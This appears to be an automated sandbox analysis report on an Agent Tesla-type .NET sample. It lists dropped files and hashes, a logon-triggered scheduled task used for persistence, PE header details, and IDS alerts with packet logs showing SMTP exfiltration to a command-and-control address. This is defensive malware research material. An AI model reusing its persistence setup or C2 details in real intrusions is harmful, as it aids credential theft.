SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NxmtwwVGOtEdjd.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379552885213346
Encrypted:	false
SSDEEP:	48:fWSU4xympjgZ9tz4RIoUl8NPZHUl7u1iMuge//ZMRvUyus:fLHxvCZfIfSKRHmOugras
MD5:	536673CFEEBA235304073B32A6519556
SHA1:	31B610549B437B8290C8B20809704C1118CCC457
SHA-256:	E7BBD1CC511FA56E4A5ABD9403A0A40A9B789CA77B12418A28BFC34FB96E46BC
SHA-512:	100211350FFCD4CC63BAA55B75FAAFAEA3524F2E58142883E3C40E63990264D57F4D13536ADC06D2342270CE48C9000D9EA1E81BB045FB9A1EBADEEB1D963D13
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_40gz0kas.ain.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iutd4lxs.fyj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j0zj4ktp.mr3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0jvrel1.rfo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbzb3ojr.e34.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mutlxdu2.sjn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tislt1pd.oyq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_waew54ts.0wj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_16.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.116484496204205
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaHxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTcv
MD5:	1AC293B57893D7F15FEC2D62F2B81B15
SHA1:	7D73A01CDEBDC72F08EF5001BE928CADFAE17FF7
SHA-256:	7F4C202C63938CB22EED8ABDC026F2AE89379086669AFCE07C713A74331736C8
SHA-512:	92BF0B98B56A2C92C493F33CD6478901E25E78411AE816D941467F30139941ABD96DFA3D7787580BD445ACEC7679F4DF09341F8DB3ED183A7FA9AF3FBF9F5B2E
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.116484496204205
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaHxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTcv
MD5:	1AC293B57893D7F15FEC2D62F2B81B15
SHA1:	7D73A01CDEBDC72F08EF5001BE928CADFAE17FF7
SHA-256:	7F4C202C63938CB22EED8ABDC026F2AE89379086669AFCE07C713A74331736C8
SHA-512:	92BF0B98B56A2C92C493F33CD6478901E25E78411AE816D941467F30139941ABD96DFA3D7787580BD445ACEC7679F4DF09341F8DB3ED183A7FA9AF3FBF9F5B2E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_16.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	685063
Entropy (8bit):	7.60396683966757
Encrypted:	false
SSDEEP:	12288:RkXayww0J7RG6YnakFrTtJ7IomjXXIR+w8/6ODi6dU3bAil+8I4:WajBtN+aOrTtJ7IZ4EwQh1d9iot
MD5:	2C10CB6C2E23B7712EBF4042D669CD09
SHA1:	F86ADB59BD065AFD9195B9375271096F341842DC
SHA-256:	546569A42F00553D7FDA79E6961779AFADD95EA8E6A8738EF344275F2B642244
SHA-512:	2AC43799B1C4169308CCAB675563897BC6D3A144EBDE4FD214D4BCE114A978576A5980CEC8909A37B12C912B86297645CC79F8E9BB0C21EA4ECDA409E3492ABA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.................0..j..........f.... ........@.. ....................................@.....................................O....................................q..p............................................ ............... ..H............text....i... ...j.................. ..`.rsrc................l..............@..@.reloc...............r..............@..B................F.......H.......\|e...C..........`...(............................................0.............?......?...%.n...(.......?...%.r...(.......?...%.p...(.......?...%.o...(........?...%.q...(...............r...p(....-:..r...p(....-5..r...p(....-0..r...p(....-+..r...p(....-'+/.(...+.+&.(...+.+..(...+.+...(...+.+...(...+.+....+......0..,.......sg......}s........h...s....(...+..(...+.+...0..{........~)...o....}.....~*...}...........}.......?...}......}......}.....(.......(......(......(...

C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_16.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.60396683966757
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	LisectAVT_2403002A_16.exe
File size:	685'063 bytes
MD5:	2c10cb6c2e23b7712ebf4042d669cd09
SHA1:	f86adb59bd065afd9195b9375271096f341842dc
SHA256:	546569a42f00553d7fda79e6961779afadd95ea8e6a8738ef344275f2b642244
SHA512:	2ac43799b1c4169308ccab675563897bc6d3a144ebde4fd214d4bce114a978576a5980cec8909a37b12c912b86297645cc79f8e9bb0c21ea4ecda409e3492aba
SSDEEP:	12288:RkXayww0J7RG6YnakFrTtJ7IomjXXIR+w8/6ODi6dU3bAil+8I4:WajBtN+aOrTtJ7IZ4EwQh1d9iot
TLSH:	0AE412B2124D6725E6A827F5424AD17243B14D978464C24C8FCABCCF7979F80C61AEBF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.................0..j..........f.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4a8966
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xFEADA566 [Tue May 26 14:55:34 2105 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
inc ecx
add cl, al
add bl, al
add dl, al
add al, al
add ah, al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi+00h], cl
rol dword ptr [eax], cl
aad 00h
aam 00h
rol byte ptr [eax], cl
salc
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00h], cl
int 00h
into
add ah, cl
add bh, cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebp+00h], dl
fiadd dword ptr [eax]
fild dword ptr [eax]
fld dword ptr [eax]
fadd qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc ebp
add cl, cl
add dl, cl
add al, cl
add bl, cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa8912	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xaa000	0x5ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xac000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa7188	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa69bc	0xa6a00	29c64714f527c3485fff68ff7c6bdb09	False	0.8639098251125281	data	7.613224313381159	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xaa000	0x5ac	0x600	d0ad6e480a7c708cd40aef5d151ab94f	False	0.423828125	data	4.101457314667063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xac000	0xc	0x200	4ece1db0d5e59280e03abec53da7b154	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xaa090	0x31c	data			0.4371859296482412
RT_MANIFEST	0xaa3bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T23:35:36.103588+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49737	40.68.123.157	192.168.2.4
2024-07-25T23:35:25.918768+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49735	587	192.168.2.4	199.79.62.115
2024-07-25T23:35:29.982176+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49736	587	192.168.2.4	199.79.62.115
2024-07-25T23:35:55.569991+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	53201	52.165.165.26	192.168.2.4
2024-07-25T23:35:56.837685+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	53202	52.165.165.26	192.168.2.4
2024-07-25T23:35:11.625146+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49736	587	192.168.2.4	199.79.62.115

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 23:35:23.876939058 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:23.885090113 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:23.885191917 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:24.793643951 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:24.794495106 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:24.794589043 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:24.794698000 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:24.799479961 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:24.949985027 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:24.950963974 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:24.957315922 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.107184887 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.107641935 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.112927914 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.390507936 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.405983925 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.410924911 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.560883045 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.563057899 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.568017006 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.735280037 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.740468979 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.745935917 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.903961897 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.918486118 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.918767929 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.918808937 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.918808937 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:25.923645020 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.923719883 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.923729897 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:25.924105883 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:26.176848888 CEST	587	49735	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:26.249310017 CEST	49735	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:28.116808891 CEST	49736	587	192.168.2.4	199.79.62.115
Jul 25, 2024 23:35:28.121876955 CEST	587	49736	199.79.62.115	192.168.2.4
Jul 25, 2024 23:35:28.121990919 CEST	49736	587	192.168.2.4	199.79.62.115
